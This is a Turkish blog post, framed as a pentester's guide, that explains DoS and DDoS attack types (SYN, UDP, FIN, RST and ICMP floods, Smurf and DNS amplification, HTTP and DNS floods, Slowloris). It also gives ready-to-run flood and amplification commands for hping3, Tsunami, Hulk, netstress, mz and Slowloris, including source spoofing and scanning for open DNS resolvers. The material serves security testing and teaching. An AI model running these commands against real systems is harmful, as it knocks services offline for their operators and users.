PENTESTER OLARAK DDoS TESTİNİ NASIL GERÇEKLEŞTİREBİLİRSİNİZ?
DOS(DENİAL OF SERVİCE)
DOS saldırıları, bir servisi hizmet dışı bırakmak amacıyla uygulanan ve diğer saldırı çeşitlerinin aksine genellikle hassas bilgileri çalma amacı gütmeden sıradan kullanıcıların servislere erişimini engellemek amacıyla gerçekleştirilen bir saldırı türüdür. Ancak DOS saldırılarının her zaman bu amaçla gerçekleştirildiğini söylemek de elbette yanlış olur. Bazen saldırganlar başka zararlı faaliyetlerini gerçekleştirebilmek adına DOS saldırılarını kullanabilirler. Örnek vermek gerekirse bir web application firewall(web uygulama güvenlik duvarı) alt edilebilir. Bunun sonucunda ise saldırgan bu durumdan faydalanarak bir başka saldırıyı gerçekleştirebilir. Peki DOS ve DDOS arasındaki fark nedir ?DOS VE DDOS
Temel olarak ikisi de aynı mantığa dayanan servisi hizmet dışı bırakma saldırılarıdır. Basit bir şekilde farklarından bahsetmek gerekir ise DOS saldırılarını gerçekleştirirken saldırganlar tek bir internet bağlantısını kullanarak bu saldırıyı gerçekleştirirler. DDOS saldırılarında ise saldırgan internet üzerinde dağıtılmış birden çok kaynağı kullanarak yaratılan bir trafik sayesinde saldırılarını gerçekleştirir.DOS TÜRLERİ
DOS saldırıları iki ana kategoriye ayrılır.- Uygulama Katmanı Saldırıları
- Ağ Katmanı Saldırıları
OSI model 7 katmandan oluşur. OSI, uygulamaların ağ üzerinden nasıl iletişim kurabileceğini gösteren bir modeldir.
Örnek bir OSI modeli üstte görüldüğü gibidir.
OSI model hakkında daha fazla bilgiye şuradan ulaşabilirsiniz.
OSI MODEL
AĞ VE ULAŞIM KATMANI SALDILARI
Bu tip saldırılar ağ ve ulaşım katmanını hedef alırlar. Saldırılar hedef makinayı zararlı trafik ile alt etmek için sunucunun tüm kaynaklarını tüketmeyi amaçlayan hacimsel saldırılardan oluşmaktadır.TCP SYN FLOOD
SYN flood ulaşım katmanında çalışır. Bu tür saldırıları anlayabilmek için öncelikle TCP bağlantılarının nasıl kurulduğunu anlamamız gerekir. Bir TCP bağlantısı 3 yollu el sıkışma ile kurulur. İstemci TCP bağlantısı başlatmak için sunucuya SYN paketi gönderir. Sunucu SYN-ACK ile istemciye cevap verir. İstemci ACK ile sunucuya cevap vererek bu 3 adımla TCP bağlantısını kurmuş olur.Ancak ACK paketi sunucuya ulaşmazsa doğal olarak sunucu bu bağlantı için SYN-RCVD durumunda kalacaktır, ve bir süre daha ACK cevabını bekleyecektir. SYN flood saldırıları temel olarak sunucunun bu davranışından faydalanır.
Özetle SYN Flood saldırılarında amaç bir çok SYN paketini sunucuya gönderip sunucudan gelen SYN-ACK paketlerini görmezden gelmektir.
Saldırgan yeterli SYN paketi gönderirse sunucu servis dışı kalabilir. Çünkü sunucular eşzamanlı TCP bağlantılarını sınırlı sayıda gerçekleştirirler.
hping3 ile SYN flood saldırısı uygulayabilmek için :
Basit SYN flood:
- root@kali:~# hping3 -S --flood -V -p TARGET_PORT TARGET_SITE
- using eth0, addr: xxx.xxx.xxx.xxx, MTU: 1500
- HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 0 data bytes
- hping in flood mode, no replies will be shown
- root@kali:~# hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE
- HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 120 data bytes
- hping in flood mode, no replies will be shown
–rand-source: random kaynak adresi
-c –count: paket sayısı
-d –data: data boyutu
-S –syn: set SYN flag
-w –win: winsize (default 64)
-p –destport: destination port (default 0)
UDP FLOOD
UDP iki cihaz arasında bir oturum oluşturmaya gerek duymayan bir protokoldür. Diğer bir deyişle el sıkışma işlemi gerekli değildir.UDP flood herhangi bir zafiyetten faydalanmaz. UDP flood saldırılarında amaç basitçe hedef sunucuya sahte ip adresleri ile büyük miktarda UDP datagramı gönderilmesidir. Bir sunucu bu tip bir trafik aldığında her isteği işleyemez hale gelir ve ICMP "destination unreachable"paketlerini göndererek bant genişliğini tüketir.hping3 ile UDP flood uygulayabilmek için:
- root@kali:~# hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP
- HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): udp mode set, 28 headers + 0 data bytes
- hping in flood mode, no replies will be shown
–rand-source: random kaynak adresi
–udp: UDP mode
-p –destport: destination port (default 0)
Ayrıca bu tip saldırılar için LOIC(Low Orbit Ion Cannon) kullanılabilir. Bir grafik arayüze sahiptir ve kullanımı gayet basittir.
3 adet DOS methoduna sahiptir.
- TCP
- UDP
- HTTP FLOODS
TCP FIN FLOOD
FIN bayrağı etkinleştirilmiş bir TCP paketi, yalnızca bir sunucu ile bir istemci TCP bağlantısı kurduğunda kabul edilir. Aksi taktirde paketler basitçe düşecektir.Bu tip saldırıları gerçekleştirmek kolaydır, çünkü yalnızca önemsiz FIN paketleri oluşturulur ve gönderilir.
hping3 ile FIN flood uygulayabilmek için:
- root@kali:~# hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP
- HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): F set, 40 headers + 0 data bytes
- hping in flood mode, no replies will be shown
TCP RST FLOOD
TCP bağlantısı içinde bir RST paketi hızlıca bağlantının sonlanması anlamına gelir. Bu bağlantı bir hata ile karşılaştığında ve durması gerektiği durumlarda kullanışlıdır.Saldırganlar trafiğin gittiği kaynağı bir yolla görüntüleyebilirlerse, doğru değerlere sahip RST paketleri gönderirler. Bu paket kaynak ve hedef arasındaki TCP bağlantısını keser. Sürekli olarak bu yapılırsa bağlantı kurulmasını engellemek mümkündür.
hping3 ile RST flood uygulamak için -R paremetresi kullanılmalıdır:
- root@kali:~# hping3 --flood --rand-source -R -p TARGET_PORT TARGET_IP
- HPING TARGET_IP (eth0 TARGET_IP): R set, 40 headers + 0 data bytes
- hping in flood mode, no replies will be shown
PUSH AND ACK FLOOD
Sunucuya bir sürü PUSH ve ACK paketleri ile saldırılır, saldırgan sunucunun meşru isteklere cevap vermesini önler.hping3 ile bu parametreleri kullanarak PSH+ACK saldırılarını uygulayabilirsiniz:
- root@kali:~# hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP
- HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): AP set, 40 headers + 0 data bytes
- hping in flood mode, no replies will be shown
Bu saldırı LOIC ile de uygulanabilir.
Methodlar bölümünden TCP seçilirse, PSH+ACK saldırıları uygulanabilir.
ICMP AND IGMP FLOODS
ICMP(Internet Control Message Protocol) ve IGMP(Internet Group Management Protocol) protokolü UDP gibi bağlantısız bir protokoldür. ICMP ağ cihazlarına hata mesajları ve operasyonel bilgileri göndermek için kullanılır. IGMP TCP/IP içindeki multicast üyeleri yönetmek için kullanılan bir protokoldür.UDP saldırıları gibi, ICMP ve IGMP saldırıları herhangi bir zafiyetten faydalanmaz.Yalnızca herhangi bir tip ICMP veya IGMP paketlerini devamlı olarak göndererek sunucuyu her isteği işlemekten alıkoyar.
hping3 ile ICMP flood uygulayabilmek için -1 parametresi kullanılmalıdır.
- root@kali:~# hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP
- HPING TARGET_IP (eth0 TARGET_IP): icmp mode set, 28 headers + 0 data bytes
- hping in flood mode, no replies will be shown
AMPLİFİCATİON SALDIRILARI
Amplification saldırıları istek ve cevap arasındaki boyut farklılıklarından fayda sağlamak amacıyla gerçekleştirilir. Bir tek paket cevap içinde onlarca veya yüzlerce bant genişliği oluşturulur.Amplification saldırılarını gerçekleştirmek için saldırgan kaynak ip adresi doğuralanamayan bağlantısız protokolleri kullanmalıdır. Bilinen amplification teknikleri Smurf attack(ICMP amplification), DNS amplification ve Fraggle attack(UDP amplification).
Smurf Attack
Saldırgan aracı bir siteyi güçlendirici olarak seçer ve ardından bu aracı sitelerin broadcast adreslerine büyük miktarda ICMP(ping) isteği gönderir.Bu arada bu paketlerin kaynak ip adresleri hedefi işaret eder. Aracı siteler yayınlarını alt ağlarının bulunduğu tüm ana makinelere iletir. Sonunda tüm bilgisayarlar hedef ip'ye cevap verir.
Smurf saldırısı uygulayabilmek için hping3 yazılımını kullanabiliriz.
- hping3 --icmp --spoof TARGET_IP BROADCAST_IP
Ağdaki tüm bilgisayarlar hedef ip adresine cevap verecektir.
DNS Amplification
Saldırgan önbelleği üzerindeki büyük dosyaya sahip özyinelemeli bir DNS sunucuya sahip olmalıdır. Ardından DNS sunucularına hedefin sahte ip adresleri kullanılarak DNS look-up isteği gönderilir. Sunucular hedef ip adresine cevap verecektir.
DNS amplification saldırıları için Tsunami yazılımını kullanabiliriz.
Öncelikle özyinelemeli DNS sunucularını toplamalıyız.
- ./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8
- ./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt
-n: Araştırmak için isteğe bağlı domain adı. Varsayılan olarak geçerli hostname'i alır.
-f : Saldırı için açık özyinelemeli DNS sunucularının bulunduğu dosya
-p : DNS sunucusu başına gönderilecek paket sayısı. Varsayılan bir pakettir.
Fraggle Attack
Saldırgan çok sayıda sahte UDP datagramını UDP endpoint'e gönderir.
Bu UDP endpoint'leri hedef ip adreslerine cevap verir.
Uygulama Katmanı Saldırıları
Uygulama katmanı saldırıları, layer 7 saldırıları olarak da adlandırılır. Bu saldırılar DOS veya DDOS saldırıları olabilir. Bu tip saldırılar insan davranışlarını kullanıcı arayüzü ile etkileşime girdikçe taklit etmek üzerine kuruludur.Hedef protokoller genellikle HTTP, HTTPS, DNS, SMTP, FTP, VOIP gibi DOS saldırılarına izin veren sömürülebilir zayıf yönleri olan diğer uygulama protokolleridir.
HTTP FLOOD
HTTP flood uygulama katmanını hedefleyen en yaygın saldırı türüdür. Network katmanı saldırılarına göre bulunması daha zordur çünkü istekler normal gözükebilir. 3 yollu el sıkışma işlemi tamamlandığında, HTTP flood saldırıları yalnızca 4 katmanı inceleyen cihazları ve çözümleri kandırmaktadır.Bu tip saldırılar HTTP GET veya POST isteklerinin hedef sunucuya gönderilen kümeleriden oluşur.
Genellik HTTP flood saldırıları birden fazla bilgisayardan eşzamanlı olarak başlatılır.
HTTP flood saldırılarını uygulayabilmek için LOIC yazılımını kullanabilirsiniz. Basit bir saldırıyı HTTP method'u seçip port ve ip adresini belirterek başlatabilirsiniz.
Bir diğer kullanışlı araç ise Hulk'dır. Kullanımı oldukça kolaydır.
- root@kali:~# python hulk.py -site http://TARGET.com/test/
JMeter yazılımını çalıştırdığınızda sizi aşağıdaki gibi bir ekran karşılayacaktır.
Test plan'a sağ tıklayıp menüyü takip ettikten sonra thread group eklemeliyiz.
Thread'ın özelliklerini düzenleyerek ayarlarını gerçekleştirebiliriz.
HTTP flood uygulayabilmek için thread group'a sağ tıklayarak örnek HTTP isteklerini tanımlamalıyız.
HTTP isteklerini hedef için yapılandırmalıyız.
Bu noktada saldırıyı gerçekleştirebiliriz. Sonuçları görmek istiyorsak listeners eklemeliyiz.
Artık basit bir HTTP flood saldırısını CTRL+R'ye basarak başlatabiliriz.Sonuçlar listener'da görünmeye başlayacaktır.
DNS Flood
Domain Name System(DNS) protokolü domain adlarını ip adreslerine çevirmek için kullanılır.Diğer flood saldırılarındaki gibi DNS flood saldırılarındaki amaç yüksek miktarda DNS isteklerini DNS uygulama protokolüne göndermektir. Böylece DNS sunucusu, diğer kullanıcılardan gelen tüm bağlantı isteklerini işleyemez hale gelir.
Netstress ve mz DNS flood uygulamak için kullanılabilir.
Kabaca Netstress bu şekilde kullanılabilir:
- root@kali:~# netstress.fullrandom -d TARGET_DNS_SERVER -a dns -t a -n 4 -P 53
-a: saldırı tipi
-t: DNS sorgu tipi
-n: işlem sayısı
-P: destination port
mz ile DNS flood uygulamak için:
- root@kali:~# mz -A rand -B TARGET_DNS_SERVER -t dns "q=pentest.blog" -c 10000000
-B: destination IP adresi veya domain adı
-t: paket tipi
-c: paketlerin sayısı
mz aracılığıyla DNS paket oluşturmak hakkında daha fazla bilgi elde edebilmek için mz -t dns yardım komutunu kullanabilirsiniz.
Low and Slow Attacks
Floodlardan farklı olarak low and slow saldırıları yüksek miktarda veri tarfiği içermez. Bu tip saldırılar uygulamanın veya sunucunun kaynaklarını hedef alır. Tespit edilmesi çok zordur çünkü trafik normal oranlarda ve meşru gözükebilir.Slowloris kullanarak bu tip saldırıları gerçekleştirebiliriz. Bu aracın operasyonel mantığına gelirsek, birden fazla bağlantıyı açarak ve onları olabildiğince açık tutarak çalışır. HTTP isteklerini kısmi gönderir ve bu bağlantıları hiç tamamlamaz. Sunucuda yeterli bağlantı açıldığında daha fazla bağlantı işleyemez.
Slowloris yazılımının kullanımı oldukça basittir. Bir saldırıyı gerçekleştirmek için ihtiyacınız olan herşey budur:
- ./slowloris.pl -dns TARGET_URL
- ./slowloris.pl -dns TARGET_URL -port 80
- ./slowloris.pl -dns TARGET_URL -port 80 -num 200
- ./slowloris.pl -dns TARGET_URL -port 80 -num 200 -timeout 30
- ./slowloris.pl -dns TARGET_URL -port 443 -timeout 30 -num 200 -https
Yorumlar
Yorum Gönder